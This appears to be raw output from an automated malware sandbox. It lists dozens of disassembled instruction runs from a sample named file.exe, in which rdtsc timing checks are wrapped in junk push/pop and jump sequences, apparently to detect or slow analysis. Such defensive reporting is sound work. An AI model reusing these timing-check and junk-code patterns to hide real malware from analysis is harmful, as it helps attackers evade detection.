Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6BD25 second address: F6BD38 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jc 00007FD31CE6EAAEh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6BD38 second address: F6BD41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6CA62 second address: F6CA68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6CA68 second address: F6CA9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD31CD42B93h 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007FD31CD42B97h 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6CD1B second address: F6CD28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jo 00007FD31CE6EAA6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F72368 second address: F72371 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F72371 second address: F72375 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7137F second address: F71394 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 jnc 00007FD31CD42B86h 0x0000000c pop edi 0x0000000d popad 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F71394 second address: F7139A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7139A second address: F7139F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F72624 second address: F7262E instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD31CE6EAA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F72772 second address: F72776 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F72776 second address: F7277C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2B8A4 second address: F2B8C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD31CD42B90h 0x00000009 jmp 00007FD31CD42B8Dh 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2B8C6 second address: F2B8EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD31CE6EAB0h 0x00000008 jnc 00007FD31CE6EAA6h 0x0000000e jns 00007FD31CE6EAA6h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2B8EA second address: F2B8EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2B8EE second address: F2B8F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F789C6 second address: F789D6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007FD31CD42B86h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2ED31 second address: F2ED45 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD31CE6EAACh 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7823E second address: F78244 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F78244 second address: F78267 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push edi 0x00000006 jmp 00007FD31CE6EAABh 0x0000000b pop edi 0x0000000c popad 0x0000000d push ebx 0x0000000e jmp 00007FD31CE6EAACh 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2ED3B second address: F2ED45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F786A7 second address: F786B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FD31CE6EAA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F786B1 second address: F786C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007FD31CD42B8Ch 0x00000012 jnl 00007FD31CD42B86h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F78817 second address: F7881D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7881D second address: F78822 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F78822 second address: F78828 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7A5FF second address: F7A60B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7A60B second address: F7A611 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7A611 second address: F7A616 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7A9F8 second address: F7AA09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jnp 00007FD31CE6EAA6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7AAE3 second address: F7AB03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD31CD42B97h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7B2C3 second address: F7B2C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7B2C7 second address: F7B2CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7B5DD second address: F7B608 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD31CE6EAACh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d jbe 00007FD31CE6EAA6h 0x00000013 jmp 00007FD31CE6EAAEh 0x00000018 popad 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7B608 second address: F7B60E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7B946 second address: F7B94A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7B94A second address: F7B967 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007FD31CD42B88h 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 and edi, dword ptr [ebp+122DBA26h] 0x00000016 push eax 0x00000017 pushad 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7B967 second address: F7B988 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD31CE6EAB9h 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7C94B second address: F7C950 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7EBA9 second address: F7EBAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7EBAD second address: F7EBBC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD31CD42B8Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F80368 second address: F8036D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7EBBC second address: F7EBC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8036D second address: F80372 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F80372 second address: F80397 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FD31CD42B97h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F80397 second address: F8039D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F80DAD second address: F80E22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FD31CD42B8Fh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e call 00007FD31CD42B99h 0x00000013 and esi, 7C86FC12h 0x00000019 pop edi 0x0000001a mov dword ptr [ebp+122D27C5h], eax 0x00000020 push 00000000h 0x00000022 mov esi, dword ptr [ebp+122D33F1h] 0x00000028 sub esi, 1B693136h 0x0000002e push 00000000h 0x00000030 mov esi, dword ptr [ebp+122D3A17h] 0x00000036 xchg eax, ebx 0x00000037 push eax 0x00000038 push edx 0x00000039 jns 00007FD31CD42B9Eh 0x0000003f jmp 00007FD31CD42B98h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F85063 second address: F85069 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8828F second address: F88295 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F852AF second address: F852C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD31CE6EAACh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F852C0 second address: F852C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F883DF second address: F883E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FD31CE6EAA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8A264 second address: F8A26A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F895C8 second address: F895D2 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD31CE6EAA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F895D2 second address: F895DC instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD31CD42B8Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8A312 second address: F8A318 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8A49D second address: F8A4BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jmp 00007FD31CD42B95h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8E23B second address: F8E24B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD31CE6EAABh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F91124 second address: F91128 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F91128 second address: F91177 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push esi 0x0000000b pop edi 0x0000000c push 00000000h 0x0000000e jmp 00007FD31CE6EAB0h 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push ebx 0x00000018 call 00007FD31CE6EAA8h 0x0000001d pop ebx 0x0000001e mov dword ptr [esp+04h], ebx 0x00000022 add dword ptr [esp+04h], 0000001Ah 0x0000002a inc ebx 0x0000002b push ebx 0x0000002c ret 0x0000002d pop ebx 0x0000002e ret 0x0000002f xchg eax, esi 0x00000030 pushad 0x00000031 jno 00007FD31CE6EAA8h 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F91177 second address: F911AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a pop eax 0x0000000b jmp 00007FD31CD42B92h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FD31CD42B93h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F911AA second address: F911AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8F37F second address: F8F383 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8E3A7 second address: F8E42D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007FD31CE6EAA6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 call 00007FD31CE6EAB3h 0x00000016 stc 0x00000017 pop ebx 0x00000018 push dword ptr fs:[00000000h] 0x0000001f push 00000000h 0x00000021 push esi 0x00000022 call 00007FD31CE6EAA8h 0x00000027 pop esi 0x00000028 mov dword ptr [esp+04h], esi 0x0000002c add dword ptr [esp+04h], 00000015h 0x00000034 inc esi 0x00000035 push esi 0x00000036 ret 0x00000037 pop esi 0x00000038 ret 0x00000039 xor dword ptr [ebp+122D17D3h], ebx 0x0000003f mov dword ptr fs:[00000000h], esp 0x00000046 mov ebx, dword ptr [ebp+122D1CF7h] 0x0000004c mov eax, dword ptr [ebp+122D1359h] 0x00000052 call 00007FD31CE6EAB4h 0x00000057 mov bx, ax 0x0000005a pop edi 0x0000005b movsx ebx, cx 0x0000005e push FFFFFFFFh 0x00000060 nop 0x00000061 pushad 0x00000062 push eax 0x00000063 push edx 0x00000064 pushad 0x00000065 popad 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8E42D second address: F8E448 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD31CD42B8Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FD31CD42B8Bh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8E448 second address: F8E45E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jl 00007FD31CE6EAB4h 0x0000000e push eax 0x0000000f push edx 0x00000010 js 00007FD31CE6EAA6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9030B second address: F9031A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD31CD42B8Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9031A second address: F9031E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F903DD second address: F903F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD31CD42B8Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8C3C5 second address: F8C3D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a jbe 00007FD31CE6EAACh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9131D second address: F91339 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c jmp 00007FD31CD42B8Fh 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F91339 second address: F9133E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9133E second address: F91344 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9245D second address: F9246F instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD31CE6EAA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a js 00007FD31CE6EAACh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F95935 second address: F95939 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F99945 second address: F9994B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9994B second address: F99951 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F99951 second address: F9995A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9995A second address: F9999B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD31CD42B93h 0x00000007 jmp 00007FD31CD42B8Eh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007FD31CD42B95h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9D22E second address: F9D232 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9D232 second address: F9D236 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F33EC2 second address: F33ED9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD31CE6EAB3h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F33ED9 second address: F33EDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9C948 second address: F9C94C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9CAC9 second address: F9CAE5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD31CD42B8Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jl 00007FD31CD42BBAh 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9CAE5 second address: F9CAEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9CAEB second address: F9CAFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FD31CD42B8Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9CC7C second address: F9CC9E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD31CE6EAB9h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9F643 second address: F9F669 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FD31CD42B96h 0x0000000f jnc 00007FD31CD42B86h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9F669 second address: F9F673 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD31CE6EAA6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9F673 second address: F9F67F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9F67F second address: F9F683 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9F683 second address: F9F6A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD31CD42B99h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA3DD4 second address: FA3DFD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FD31CE6EAB2h 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push ecx 0x00000013 pushad 0x00000014 jno 00007FD31CE6EAA6h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
